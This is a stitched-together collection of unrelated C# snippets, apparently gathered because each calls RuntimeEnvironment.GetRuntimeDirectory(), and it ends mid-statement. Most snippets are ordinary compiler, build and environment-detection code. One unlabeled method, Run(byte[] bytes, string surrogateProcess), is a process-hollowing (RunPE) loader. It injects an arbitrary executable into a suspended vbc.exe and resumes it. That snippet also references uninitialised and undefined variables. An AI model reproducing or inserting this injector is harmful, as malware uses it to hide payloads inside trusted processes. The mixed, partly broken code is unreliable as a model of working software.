private void GetReferences( CSharpCompilerInputs compilerInputs, MSB.Execution.ProjectInstance executedProject, out IEnumerable <MetadataReference> metadataReferences, out IEnumerable <AnalyzerReference> analyzerReferences) { // use command line parser to do reference translation same as command line compiler var args = new List <string>(); if (compilerInputs.LibPaths != null && compilerInputs.LibPaths.Count > 0) { args.Add("/lib:\"" + string.Join(";", compilerInputs.LibPaths) + "\""); } foreach (var mr in compilerInputs.References) { var filePath = GetDocumentFilePath(mr); var aliases = GetAliases(mr); if (aliases.IsDefaultOrEmpty) { args.Add("/r:\"" + filePath + "\""); } else { foreach (var alias in aliases) { args.Add("/r:" + alias + "=\"" + filePath + "\""); } } } foreach (var ar in compilerInputs.AnalyzerReferences) { var filePath = GetDocumentFilePath(ar); args.Add("/a:\"" + filePath + "\""); } if (compilerInputs.NoStandardLib) { args.Add("/nostdlib"); } var commandLineArgs = _commandLineArgumentsFactoryService.CreateCommandLineArguments(args, executedProject.Directory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); var resolver = new MetadataFileReferenceResolver(commandLineArgs.ReferencePaths, commandLineArgs.BaseDirectory); metadataReferences = commandLineArgs.ResolveMetadataReferences(new AssemblyReferenceResolver(resolver, _metadataService.GetProvider())); var analyzerLoader = _analyzerService.GetLoader(); foreach (var path in commandLineArgs.AnalyzerReferences.Select(r => r.FilePath)) { analyzerLoader.AddDependencyLocation(path); } analyzerReferences = commandLineArgs.ResolveAnalyzerReferences(analyzerLoader); }
private static Assembly LoadAssembly(string name, string hintPath = null) { string assemblyPath; // If assembly was already loaded, just return it Assembly assembly = AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(a => a.GetName().Name == name); if (assembly != null) { return(assembly); } // If the path is rooted, just load the file if (Path.IsPathRooted(name)) { assembly = CheckAndLoad(name); if (assembly != null) { return(assembly); } } // If a hint path is given, try to find the assembly if (hintPath != null) { assemblyPath = Path.Combine(hintPath, name); if (!assemblyPath.ToLower().EndsWith(".dll")) { assemblyPath += ".dll"; } if (File.Exists(assemblyPath)) { return(CheckAndLoad(assemblyPath)); } } // If the name is not a file, query the GAC bool hasExtension = name.ToLower().EndsWith(".dll"); assemblyPath = name; if (!hasExtension) { assemblyPath += ".dll"; } assemblyPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), assemblyPath); if (File.Exists(assemblyPath)) { return(CheckAndLoad(assemblyPath)); } // Then check in python path PythonList pythonPath = (PythonList)PySys_GetObject("path"); for (int i = 0; i < pythonPath.Size; i++) { string fullPath = (pythonPath[i] as PythonString).ToString(); if (!Path.IsPathRooted(fullPath)) { fullPath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), fullPath); } string filePath = Path.Combine(fullPath, name); if (File.Exists(filePath)) { return(CheckAndLoad(filePath)); } if (!hasExtension) { filePath = Path.Combine(fullPath, name + ".dll"); if (File.Exists(filePath)) { return(CheckAndLoad(filePath)); } } } return(null); }
internal ServerInfo() { ClientDirectory = Path.GetDirectoryName(typeof(DesktopBuildClientTests).Assembly.Location); SdkDirectory = RuntimeEnvironment.GetRuntimeDirectory(); }
static Env() { if (PclExport.Instance == null) { throw new ArgumentException("PclExport.Instance needs to be initialized"); } #if NETSTANDARD IsNetStandard = true; try { IsLinux = RuntimeInformation.IsOSPlatform(OSPlatform.Linux); IsWindows = RuntimeInformation.IsOSPlatform(OSPlatform.Windows); IsOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX); IsNetCore3 = RuntimeInformation.FrameworkDescription.StartsWith(".NET Core 3"); var fxDesc = RuntimeInformation.FrameworkDescription; IsMono = fxDesc.Contains("Mono"); IsNetCore = fxDesc.StartsWith(".NET Core", StringComparison.OrdinalIgnoreCase); } catch (Exception) {} //throws PlatformNotSupportedException in AWS lambda IsUnix = IsOSX || IsLinux; HasMultiplePlatformTargets = true; IsUWP = IsRunningAsUwp(); #elif NET45 IsNetFramework = true; switch (Environment.OSVersion.Platform) { case PlatformID.Win32NT: case PlatformID.Win32S: case PlatformID.Win32Windows: case PlatformID.WinCE: IsWindows = true; break; } var platform = (int)Environment.OSVersion.Platform; IsUnix = platform == 4 || platform == 6 || platform == 128; if (File.Exists(@"/System/Library/CoreServices/SystemVersion.plist")) { IsOSX = true; } var osType = File.Exists(@"/proc/sys/kernel/ostype") ? File.ReadAllText(@"/proc/sys/kernel/ostype") : null; IsLinux = osType?.IndexOf("Linux", StringComparison.OrdinalIgnoreCase) >= 0; try { IsMono = AssemblyUtils.FindType("Mono.Runtime") != null; } catch (Exception) {} SupportsDynamic = true; #endif #if NETCORE2_1 IsNetStandard = false; IsNetCore = true; IsNetCore21 = true; SupportsDynamic = true; #endif #if NETSTANDARD2_0 IsNetStandard20 = true; #endif if (!IsUWP) { try { IsAndroid = AssemblyUtils.FindType("Android.Manifest") != null; if (IsOSX && IsMono) { var runtimeDir = RuntimeEnvironment.GetRuntimeDirectory(); //iOS detection no longer trustworthy so assuming iOS based on some current heuristics. TODO: improve iOS detection IsIOS = runtimeDir.StartsWith("/private/var") || runtimeDir.Contains("/CoreSimulator/Devices/"); } } catch (Exception) {} } SupportsExpressions = true; SupportsEmit = !(IsUWP || IsIOS); if (!SupportsEmit) { ReflectionOptimizer.Instance = ExpressionReflectionOptimizer.Provider; } VersionString = ServiceStackVersion.ToString(CultureInfo.InvariantCulture); ServerUserAgent = "ServiceStack/" + VersionString + " " + PclExport.Instance.PlatformName + (IsMono ? "/Mono" : "") + (IsLinux ? "/Linux" : IsOSX ? "/OSX" : IsUnix ? "/Unix" : IsWindows ? "/Windows" : "/UnknownOS") + (IsIOS ? "/iOS" : IsAndroid ? "/Android" : IsUWP ? "/UWP" : ""); __releaseDate = new DateTime(2001, 01, 01); }
private static string GetLocalBuildDirectory() { return(RuntimeEnvironment.GetRuntimeDirectory()); }
public override bool Execute() { _cancellationTokenSource = new CancellationTokenSource(); var directory = Path.GetDirectoryName(ProjectFile); var arguments = new List <string>(); arguments.Add("/define:\"" + DefineConstants + "\""); arguments.Add("/nowarn:\"" + DisabledWarnings + "\""); if (!string.IsNullOrEmpty(MainEntryPoint)) { arguments.Add("/main:\"" + MainEntryPoint + "\""); } arguments.Add("/target:" + TargetType); arguments.Add("/moduleassemblyname:\"" + AssemblyName + "\""); if (TreatWarningsAsErrors) { arguments.Add("/warnaserror"); } arguments.Add("/warn:\"" + WarningLevel + "\""); arguments.Add("/warnaserror+:\"" + WarningsAsErrors + "\""); arguments.Add("/warnaserror-:\"" + WarningsNotAsErrors + "\""); foreach (var mr in References) { var filePath = Path.Combine(directory, mr.ItemSpec); var aliases = GetAliases(mr); if (aliases.IsDefaultOrEmpty) { arguments.Add("/reference:\"" + filePath + "\""); } else { foreach (var alias in aliases) { arguments.Add("/reference:" + alias + "=\"" + filePath + "\""); } } } try { ImmutableArray.Create(1, 2, 3); var config = new LoggingConfiguration(); config.AddTarget("msbuild", new MSBuildTarget(Log) { Layout = "${longdate} ${level} ${callsite} - ${message} ${exception:format=ToString}" }); config.AddRule(LogLevel.Trace, LogLevel.Fatal, "msbuild"); LogManager.Configuration = config; var args = CSharpCommandLineParser.Default.Parse(arguments, directory, RuntimeEnvironment.GetRuntimeDirectory()); var resolver = new MetadataFileReferenceResolver(directory); var references = args.ResolveMetadataReferences(resolver); var input = new PhaseCompilerInput { ProjectFile = ProjectFile, CompilationOptions = args.CompilationOptions.WithModuleName(AssemblyName), ParseOptions = args.ParseOptions, SourceFiles = Sources.Select(s => Path.Combine(directory, s.ItemSpec)).ToArray(), ReferencedAssemblies = references, Platform = Platform, Configuration = Configuration }; var compiler = new PhaseCompiler(input); compiler.CompileAsync(_cancellationTokenSource.Token).Wait(); return(true); } catch (Exception e) { Log.LogError(e.Message); if (Debugger.IsAttached) { Debugger.Break(); } return(false); } }
static CSharpCompiler() { _runtimeDirectory = RuntimeEnvironment.GetRuntimeDirectory(); _parserOptions = new CSharpParseOptions();//.WithLanguageVersion(LanguageVersion.CSharp6) }
public static void Run(byte[] bytes, string surrogateProcess) { IntPtr ptr5; if (surrogateProcess == null) { surrogateProcess = RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe"; } CP cp = CreateApi <CP>("kernel32", "CreateProcessA"); GTC gtc = CreateApi <GTC>("kernel32", "GetThreadContext"); NTU ntu = CreateApi <NTU>("ntdll", "NtUnmapViewOfSection"); RPM rpm = CreateApi <RPM>("kernel32", "ReadProcessMemory"); RT rt = CreateApi <RT>("kernel32", "ResumeThread"); STC stc = CreateApi <STC>("kernel32", "SetThreadContext"); VAE vae = CreateApi <VAE>("kernel32", "VirtualAllocEx"); VPE vpe = CreateApi <VPE>("kernel32", "VirtualProtectEx"); WPM wpm = CreateApi <WPM>("kernel32", "WriteProcessMemory"); int num3 = BitConverter.ToInt32(bytes, 60); int num2 = BitConverter.ToInt16(bytes, num3 + 6); IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x54)); byte[] sInfo = new byte[0x44]; IntPtr[] pInfo = new IntPtr[4]; if (cp(null, new StringBuilder(surrogateProcess), ptr5, ptr5, false, 4, ptr5, null, sInfo, pInfo)) { uint[] ctxt = new uint[0xb3]; ctxt[0] = 0x10002; if (gtc(pInfo[1], ctxt)) { IntPtr ptr; IntPtr ptr3; IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); IntPtr bufrSize = new IntPtr(4); if (rpm(pInfo[0], baseAddr, ref ptr, bufrSize, ref ptr3) && (ntu(pInfo[0], ptr) == 0L)) { IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x34)); IntPtr ptr9 = new IntPtr(BitConverter.ToInt32(bytes, num3 + 80)); IntPtr ptr2 = vae(pInfo[0], addr, ptr9, 0x3000, 0x40); bool flag = wpm(pInfo[0], ptr2, bytes, size, ref ptr3); int num5 = num2 - 1; for (int i = 0; i <= num5; i++) { int num; int[] dst = new int[10]; Buffer.BlockCopy(bytes, (num3 + 0xf8) + (i * 40), dst, 0, 40); byte[] buffer2 = new byte[(dst[4] - 1) + 1]; Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(buffer2.Length); flag = wpm(pInfo[0], ptr9, buffer2, addr, ref ptr3); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(dst[2]); flag = vpe(pInfo[0], ptr9, addr, x[(dst[9] >> 0x1d) & 7], ref num); } ptr9 = new IntPtr(ctxt[0x29] + 8L); addr = new IntPtr(4); flag = wpm(pInfo[0], ptr9, BitConverter.GetBytes(ptr2.ToInt32()), addr, ref ptr3); ctxt[0x2c] = (uint)(ptr2.ToInt32() + BitConverter.ToInt32(bytes, num3 + 40)); stc(pInfo[1], ctxt); } } rt(pInfo[1]); } }
public void Initalize() { logger.Info("Starting Jackett " + configService.GetVersion()); try { var x = Environment.OSVersion; var runtimedir = RuntimeEnvironment.GetRuntimeDirectory(); logger.Info("Environment version: " + Environment.Version.ToString() + " (" + runtimedir + ")"); logger.Info("OS version: " + Environment.OSVersion.ToString() + (Environment.Is64BitOperatingSystem ? " (64bit OS)" : "") + (Environment.Is64BitProcess ? " (64bit process)" : "")); try { int workerThreads; int completionPortThreads; ThreadPool.GetMaxThreads(out workerThreads, out completionPortThreads); logger.Info("ThreadPool MaxThreads: " + workerThreads + " workerThreads, " + completionPortThreads + " completionPortThreads"); } catch (Exception e) { logger.Error("Error while getting MaxThreads details: " + e); } try { var issuefile = "/etc/issue"; if (File.Exists(issuefile)) { using (StreamReader reader = new StreamReader(issuefile)) { string firstLine; firstLine = reader.ReadLine(); if (firstLine != null) { logger.Info("issue: " + firstLine); } } } } catch (Exception e) { logger.Error(e, "Error while reading the issue file"); } Type monotype = Type.GetType("Mono.Runtime"); if (monotype != null) { MethodInfo displayName = monotype.GetMethod("GetDisplayName", BindingFlags.NonPublic | BindingFlags.Static); var monoVersion = "unknown"; if (displayName != null) { monoVersion = displayName.Invoke(null, null).ToString(); } logger.Info("mono version: " + monoVersion); var monoVersionO = new Version(monoVersion.Split(' ')[0]); if (monoVersionO.Major < 4) { logger.Error("Your mono version is to old (mono 3 is no longer supported). Please update to the latest version from http://www.mono-project.com/download/"); Environment.Exit(2); } else if (monoVersionO.Major == 4 && monoVersionO.Minor == 2) { var notice = "mono version 4.2.* is known to cause problems with Jackett. If you experience any problems please try updating to the latest mono version from http://www.mono-project.com/download/ first."; _notices.Add(notice); logger.Error(notice); } try { // Check for mono-devel // Is there any better way which doesn't involve a hard cashes? var mono_devel_file = Path.Combine(runtimedir, "mono-api-info.exe"); if (!File.Exists(mono_devel_file)) { var notice = "It looks like the mono-devel package is not installed, please make sure it's installed to avoid crashes."; _notices.Add(notice); logger.Error(notice); } } catch (Exception e) { logger.Error(e, "Error while checking for mono-devel"); } try { // Check for ca-certificates-mono var mono_cert_file = Path.Combine(runtimedir, "cert-sync.exe"); if (!File.Exists(mono_cert_file)) { if ((monoVersionO.Major >= 4 && monoVersionO.Minor >= 8) || monoVersionO.Major >= 5) { var notice = "The ca-certificates-mono package is not installed, HTTPS trackers won't work. Please install it."; _notices.Add(notice); logger.Error(notice); } else { logger.Info("The ca-certificates-mono package is not installed, it will become mandatory once mono >= 4.8 is used."); } } } catch (Exception e) { logger.Error(e, "Error while checking for ca-certificates-mono"); } try { Encoding.GetEncoding("windows-1255"); } catch (NotSupportedException e) { logger.Debug(e); logger.Error(e.Message + " Most likely the mono-locale-extras package is not installed."); Environment.Exit(2); } } } catch (Exception e) { logger.Error("Error while getting environment details: " + e); } CultureInfo.DefaultThreadCurrentCulture = new CultureInfo("en-US"); // Load indexers indexerService.InitIndexers(configService.GetCardigannDefinitionsFolders()); client.Init(); updater.CleanupTempDir(); }
private AbstractProject GetOrCreateProjectFromArgumentsAndReferences( IWorkspaceProjectContextFactory workspaceProjectContextFactory, IAnalyzerAssemblyLoader analyzerAssemblyLoader, string projectFilename, IReadOnlyDictionary <string, DeferredProjectInformation> allProjectInfos, IReadOnlyDictionary <string, string> targetPathsToProjectPaths) { var languageName = GetLanguageOfProject(projectFilename); if (languageName == null) { return(null); } if (!allProjectInfos.TryGetValue(projectFilename, out var projectInfo)) { // This could happen if we were called recursively about a dangling P2P reference // that isn't actually in the solution. return(null); } var commandLineParser = _workspaceServices.GetLanguageServices(languageName).GetService <ICommandLineParserService>(); var projectDirectory = PathUtilities.GetDirectoryName(projectFilename); var commandLineArguments = commandLineParser.Parse( projectInfo.CommandLineArguments, projectDirectory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); // TODO: Should come from sln file? var projectName = PathUtilities.GetFileName(projectFilename, includeExtension: false); // `AbstractProject` only sets the filename if it actually exists. Since we want // our ids to match, mimic that behavior here. var projectId = File.Exists(projectFilename) ? GetOrCreateProjectIdForPath(projectFilename, projectName) : GetOrCreateProjectIdForPath(projectName, projectName); // See if we've already created this project and we're now in a recursive call to // hook up a P2P ref. if (_projectMap.TryGetValue(projectId, out var project)) { return(project); } OutputToOutputWindow($"\tCreating '{projectName}':\t{commandLineArguments.SourceFiles.Length} source files,\t{commandLineArguments.MetadataReferences.Length} references."); var solution5 = _serviceProvider.GetService(typeof(SVsSolution)) as IVsSolution5; // If the index is stale, it might give us a path that doesn't exist anymore that the // solution doesn't know about - be resilient to that case. Guid projectGuid; try { projectGuid = solution5.GetGuidOfProjectFile(projectFilename); } catch (ArgumentException) { var message = $"Failed to get the project guid for '{projectFilename}' from the solution, using random guid instead."; Debug.Fail(message); OutputToOutputWindow(message); projectGuid = Guid.NewGuid(); } // NOTE: If the indexing service fails for a project, it will give us an *empty* // target path, which we aren't prepared to handle. Instead, convert it to a *null* // value, which we do handle. var outputPath = projectInfo.TargetPath; if (outputPath == string.Empty) { outputPath = null; } var projectContext = workspaceProjectContextFactory.CreateProjectContext( languageName, projectName, projectFilename, projectGuid: projectGuid, hierarchy: null, binOutputPath: outputPath); project = (AbstractProject)projectContext; projectContext.SetOptions(projectInfo.CommandLineArguments.Join(" ")); foreach (var sourceFile in commandLineArguments.SourceFiles) { projectContext.AddSourceFile(sourceFile.Path); } foreach (var sourceFile in commandLineArguments.AdditionalFiles) { projectContext.AddAdditionalFile(sourceFile.Path); } var addedProjectReferences = new HashSet <string>(); foreach (var projectReferencePath in projectInfo.ReferencedProjectFilePaths) { // NOTE: ImmutableProjects might contain projects for other languages like // Xaml, or Typescript where the project file ends up being identical. var referencedProject = ImmutableProjects.SingleOrDefault( p => (p.Language == LanguageNames.CSharp || p.Language == LanguageNames.VisualBasic) && StringComparer.OrdinalIgnoreCase.Equals(p.ProjectFilePath, projectReferencePath)); if (referencedProject == null) { referencedProject = GetOrCreateProjectFromArgumentsAndReferences( workspaceProjectContextFactory, analyzerAssemblyLoader, projectReferencePath, allProjectInfos, targetPathsToProjectPaths); } var referencedProjectContext = referencedProject as IWorkspaceProjectContext; if (referencedProjectContext != null) { // TODO: Can we get the properties from corresponding metadata reference in // commandLineArguments? addedProjectReferences.Add(projectReferencePath); projectContext.AddProjectReference( referencedProjectContext, new MetadataReferenceProperties()); } else if (referencedProject != null) { // This project was already created by the regular project system. See if we // can find the matching project somehow. var existingReferenceOutputPath = referencedProject?.BinOutputPath; if (existingReferenceOutputPath != null) { addedProjectReferences.Add(projectReferencePath); projectContext.AddMetadataReference( existingReferenceOutputPath, new MetadataReferenceProperties()); } } else { // We don't know how to create this project. Another language or something? OutputToOutputWindow($"Failed to create a project for '{projectReferencePath}'."); } } foreach (var reference in commandLineArguments.ResolveMetadataReferences(project.CurrentCompilationOptions.MetadataReferenceResolver)) { // Some references may fail to be resolved - if they are, we'll still pass them // through, in case they come into existence later (they may be built by other // parts of the build system). var unresolvedReference = reference as UnresolvedMetadataReference; var path = unresolvedReference == null ? ((PortableExecutableReference)reference).FilePath : unresolvedReference.Reference; if (targetPathsToProjectPaths.TryGetValue(path, out var possibleProjectReference) && addedProjectReferences.Contains(possibleProjectReference)) { // We already added a P2P reference for this, we don't need to add the file reference too. continue; } projectContext.AddMetadataReference(path, reference.Properties); } foreach (var reference in commandLineArguments.ResolveAnalyzerReferences(analyzerAssemblyLoader)) { var path = reference.FullPath; if (!PathUtilities.IsAbsolute(path)) { path = PathUtilities.CombineAbsoluteAndRelativePaths( projectDirectory, path); } projectContext.AddAnalyzerReference(path); } return((AbstractProject)projectContext); }
private Task <ProjectInfo> CreateProjectInfoAsync(ProjectFileInfo projectFileInfo, ProjectId projectId, bool addDiscriminator, CancellationToken cancellationToken) { var language = projectFileInfo.Language; var projectPath = projectFileInfo.FilePath; var projectName = Path.GetFileNameWithoutExtension(projectPath); if (addDiscriminator && !string.IsNullOrWhiteSpace(projectFileInfo.TargetFramework)) { projectName += "(" + projectFileInfo.TargetFramework + ")"; } var version = VersionStamp.Create( FileUtilities.GetFileTimeStamp(projectPath)); if (projectFileInfo.IsEmpty) { var assemblyName = GetAssemblyNameFromProjectPath(projectPath); var parseOptions = GetLanguageService <ISyntaxTreeFactoryService>(language) .GetDefaultParseOptions(); var compilationOptions = GetLanguageService <ICompilationFactoryService>(language) .GetDefaultCompilationOptions(); return(Task.FromResult( ProjectInfo.Create( projectId, version, projectName, assemblyName: assemblyName, language: language, filePath: projectPath, outputFilePath: string.Empty, outputRefFilePath: string.Empty, compilationOptions: compilationOptions, parseOptions: parseOptions, documents: SpecializedCollections.EmptyEnumerable <DocumentInfo>(), projectReferences: SpecializedCollections.EmptyEnumerable <ProjectReference>(), metadataReferences: SpecializedCollections.EmptyEnumerable <MetadataReference>(), analyzerReferences: SpecializedCollections.EmptyEnumerable <AnalyzerReference>(), additionalDocuments: SpecializedCollections.EmptyEnumerable <DocumentInfo>(), isSubmission: false, hostObjectType: null))); } return(DoOperationAndReportProgressAsync(ProjectLoadOperation.Resolve, projectPath, projectFileInfo.TargetFramework, async() => { var projectDirectory = Path.GetDirectoryName(projectPath); // parse command line arguments var commandLineParser = GetLanguageService <ICommandLineParserService>(projectFileInfo.Language); var commandLineArgs = commandLineParser.Parse( arguments: projectFileInfo.CommandLineArgs, baseDirectory: projectDirectory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); var assemblyName = commandLineArgs.CompilationName; if (string.IsNullOrWhiteSpace(assemblyName)) { // if there isn't an assembly name, make one from the file path. // Note: This may not be necessary any longer if the command line args // always produce a valid compilation name. assemblyName = GetAssemblyNameFromProjectPath(projectPath); } // Ensure sure that doc-comments are parsed var parseOptions = commandLineArgs.ParseOptions; if (parseOptions.DocumentationMode == DocumentationMode.None) { parseOptions = parseOptions.WithDocumentationMode(DocumentationMode.Parse); } // add all the extra options that are really behavior overrides var metadataService = GetWorkspaceService <IMetadataService>(); var compilationOptions = commandLineArgs.CompilationOptions .WithXmlReferenceResolver(new XmlFileResolver(projectDirectory)) .WithSourceReferenceResolver(new SourceFileResolver(ImmutableArray <string> .Empty, projectDirectory)) // TODO: https://github.com/dotnet/roslyn/issues/4967 .WithMetadataReferenceResolver(new WorkspaceMetadataFileReferenceResolver(metadataService, new RelativePathResolver(ImmutableArray <string> .Empty, projectDirectory))) .WithStrongNameProvider(new DesktopStrongNameProvider(commandLineArgs.KeyFileSearchPaths)) .WithAssemblyIdentityComparer(DesktopAssemblyIdentityComparer.Default); var documents = CreateDocumentInfos(projectFileInfo.Documents, projectId, commandLineArgs.Encoding); var additionalDocuments = CreateDocumentInfos(projectFileInfo.AdditionalDocuments, projectId, commandLineArgs.Encoding); var analyzerConfigDocuments = CreateDocumentInfos(projectFileInfo.AnalyzerConfigDocuments, projectId, commandLineArgs.Encoding); CheckForDuplicateDocuments(documents.Concat(additionalDocuments).Concat(analyzerConfigDocuments), projectPath, projectId); var analyzerReferences = ResolveAnalyzerReferences(commandLineArgs); var resolvedReferences = await ResolveReferencesAsync(projectId, projectFileInfo, commandLineArgs, cancellationToken).ConfigureAwait(false); return ProjectInfo.Create( projectId, version, projectName, assemblyName, language, projectPath, outputFilePath: projectFileInfo.OutputFilePath, outputRefFilePath: projectFileInfo.OutputRefFilePath, compilationOptions: compilationOptions, parseOptions: parseOptions, documents: documents, projectReferences: resolvedReferences.ProjectReferences, metadataReferences: resolvedReferences.MetadataReferences, analyzerReferences: analyzerReferences, additionalDocuments: additionalDocuments, isSubmission: false, hostObjectType: null) .WithDefaultNamespace(projectFileInfo.DefaultNamespace) .WithAnalyzerConfigDocuments(analyzerConfigDocuments); })); }
public void SearchPaths1() { var options = ScriptOptions.Default.WithMetadataResolver(ScriptMetadataResolver.Default.WithSearchPaths(RuntimeEnvironment.GetRuntimeDirectory())); var result = CSharpScript.EvaluateAsync($@" #r ""System.Data.dll"" #r ""System"" #r ""{typeof(System.Xml.Serialization.IXmlSerializable).GetTypeInfo().Assembly.Location}"" new System.Data.DataSet() ", options).Result; Assert.True(result is System.Data.DataSet, "Expected DataSet"); }
private static IEnumerable <string> GetFrameworkPaths() { //// Concat(Path.GetDirectoryName(typeof(Microsoft.CSharp.RuntimeHelpers.SessionHelpers).Assembly.Location)). return(GlobalAssemblyCache.RootLocations.Concat(RuntimeEnvironment.GetRuntimeDirectory())); }
public void References2() { var options = ScriptOptions.Default. WithMetadataResolver(ScriptMetadataResolver.Default.WithSearchPaths(RuntimeEnvironment.GetRuntimeDirectory())). AddReferences("System.Core", "System.dll"). AddReferences(typeof(System.Data.DataSet).Assembly); var process = CSharpScript.EvaluateAsync <Process>($@" #r ""{typeof(System.Xml.Serialization.IXmlSerializable).Assembly.Location}"" new System.Data.DataSet(); System.Linq.Expressions.Expression.Constant(123); System.Diagnostics.Process.GetCurrentProcess() ", options).Result; Assert.NotNull(process); }
private bool IsPluginAssembly(string assemblyPath) { using (Stream stream = File.OpenRead(assemblyPath)) using (var reader = new PEReader(stream)) { if (!reader.HasMetadata) { return(false); } if (_options.TypeFinderCriterias?.Any() != true) { // If there are no resolvers, assume that each DLL is a plugin return(true); } var runtimeDirectory = RuntimeEnvironment.GetRuntimeDirectory(); var runtimeAssemblies = Directory.GetFiles(runtimeDirectory, "*.dll"); var paths = new List <string>(runtimeAssemblies) { assemblyPath }; if (_options.PluginLoadContextOptions.AdditionalRuntimePaths?.Any() == true) { foreach (var additionalRuntimePath in _options.PluginLoadContextOptions.AdditionalRuntimePaths) { var dlls = Directory.GetFiles(additionalRuntimePath, "*.dll"); paths.AddRange(dlls); } } if (_options.PluginLoadContextOptions.UseHostApplicationAssemblies == UseHostApplicationAssembliesEnum.Always) { var hostApplicationPath = Environment.CurrentDirectory; var hostDlls = Directory.GetFiles(hostApplicationPath, "*.dll", SearchOption.AllDirectories); paths.AddRange(hostDlls); AddSharedFrameworkDlls(hostApplicationPath, runtimeDirectory, paths); } else if (_options.PluginLoadContextOptions.UseHostApplicationAssemblies == UseHostApplicationAssembliesEnum.Never) { var pluginPath = Path.GetDirectoryName(assemblyPath); var dllsInPluginPath = Directory.GetFiles(pluginPath, "*.dll", SearchOption.AllDirectories); paths.AddRange(dllsInPluginPath); } else if (_options.PluginLoadContextOptions.UseHostApplicationAssemblies == UseHostApplicationAssembliesEnum.Selected) { foreach (var hostApplicationAssembly in _options.PluginLoadContextOptions.HostApplicationAssemblies) { var assembly = Assembly.Load(hostApplicationAssembly); paths.Add(assembly.Location); } } paths = paths.Distinct().ToList(); var resolver = new PathAssemblyResolver(paths); // We use the metadata (readonly) versions of the assemblies before loading them using (var metadataContext = new MetadataLoadContext(resolver)) { var metadataPluginLoadContext = new MetadataTypeFindingContext(metadataContext); var readonlyAssembly = metadataContext.LoadFromAssemblyPath(assemblyPath); var typeFinder = new TypeFinder(); foreach (var finderCriteria in _options.TypeFinderCriterias) { var typesFound = typeFinder.Find(finderCriteria.Value, readonlyAssembly, metadataPluginLoadContext); if (typesFound?.Any() == true) { return(true); } } } } return(false); }
internal static string GetRuntimeInstallDirectory() { return(RuntimeEnvironment.GetRuntimeDirectory()); }
/// <summary> /// Loads references, set options and execute files specified in the initialization file. /// Also prints logo unless <paramref name="isRestarting"/> is true. /// </summary> private void InitializeContext(string initializationFileOpt, bool isRestarting) { Debug.Assert(initializationFileOpt == null || PathUtilities.IsAbsolute(initializationFileOpt)); // TODO (tomat): this is also done in CommonInteractiveEngine, perhaps we can pass the parsed command lines to here? if (!isRestarting) { Console.Out.WriteLine(_repl.GetLogo()); } if (File.Exists(initializationFileOpt)) { Console.Out.WriteLine(string.Format(FeaturesResources.LoadingContextFrom, Path.GetFileName(initializationFileOpt))); var parser = _repl.GetCommandLineParser(); // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var args = parser.Parse(new[] { "@" + initializationFileOpt }, Path.GetDirectoryName(initializationFileOpt), RuntimeEnvironment.GetRuntimeDirectory(), null /* TODO: pass a valid value*/); foreach (var error in args.Errors) { var writer = (error.Severity == DiagnosticSeverity.Error) ? Console.Error : Console.Out; writer.WriteLine(error.GetMessage(CultureInfo.CurrentCulture)); } if (args.Errors.Length == 0) { // TODO (tomat): other arguments // TODO (tomat): parse options lock (_sessionGuard) { // TODO (tomat): consolidate with other reference resolving foreach (CommandLineReference cmdLineReference in args.MetadataReferences) { // interactive command line parser doesn't accept modules or linked assemblies Debug.Assert(cmdLineReference.Properties.Kind == MetadataImageKind.Assembly && !cmdLineReference.Properties.EmbedInteropTypes); string fullPath = ResolveReferencePath(cmdLineReference.Reference, baseFilePath: null); LoadReference(fullPath, suppressWarnings: true, addReference: true); } } var rspDirectory = Path.GetDirectoryName(initializationFileOpt); foreach (CommandLineSourceFile file in args.SourceFiles) { // execute all files as scripts (matches csi/vbi semantics) string fullPath = ResolveRelativePath(file.Path, rspDirectory, displayPath: true); if (fullPath != null) { ExecuteFile(fullPath); } } } } if (!isRestarting) { Console.Out.WriteLine(FeaturesResources.TypeHelpForMoreInformation); } }
private void packageWebApps(DevelopmentInstallation installation, string serverSideLogicFolderPath) { // NOTE: When packaging web apps, try to find a way to exclude data files. Apparently web deployment projects include these in their output even though // they aren't part of the source web projects. NOTE ON NOTE: We don't use WDPs anymore, so maybe we can eliminate this note. foreach (var webProject in installation.DevelopmentInstallationLogic.DevelopmentConfiguration.webProjects ?? new WebProject[0]) { var webAppPath = EwlStatics.CombinePaths(serverSideLogicFolderPath, webProject.name); // Pre-compile the web project. try { TewlContrib.ProcessTools.RunProgram( EwlStatics.CombinePaths(RuntimeEnvironment.GetRuntimeDirectory(), "aspnet_compiler"), "-v \"/" + webProject.name + ".csproj\" -p \"" + EwlStatics.CombinePaths(installation.GeneralLogic.Path, webProject.name) + "\" " + (webProject.IsUpdateableWhenInstalledSpecified && webProject.IsUpdateableWhenInstalled ? "-u " : "") + "-f \"" + webAppPath + "\"", "", true); } catch (Exception e) { throw new UserCorrectableException("ASP.NET pre-compilation failed for web project " + webProject.name + ".", e); } try { TewlContrib.ProcessTools.RunProgram( EwlStatics.CombinePaths(AppStatics.DotNetToolsFolderPath, "aspnet_merge"), "\"" + webAppPath + "\" -o " + webProject.NamespaceAndAssemblyName + ".Package -a -copyattrs", "", true); } catch (Exception e) { throw new UserCorrectableException("ASP.NET Merge Tool failed for web project " + webProject.name + ".", e); } // Delete files and folders that aren't necessary for installed installations. IoMethods.DeleteFolder(EwlStatics.CombinePaths(webAppPath, "Generated Code")); IoMethods.DeleteFolder(EwlStatics.CombinePaths(webAppPath, "obj")); IoMethods.DeleteFile(EwlStatics.CombinePaths(webAppPath, webProject.name + ".csproj")); IoMethods.DeleteFile(EwlStatics.CombinePaths(webAppPath, webProject.name + ".csproj.user")); IoMethods.DeleteFile(EwlStatics.CombinePaths(webAppPath, webProject.name + ".csproj.vspscc")); var webConfigPath = 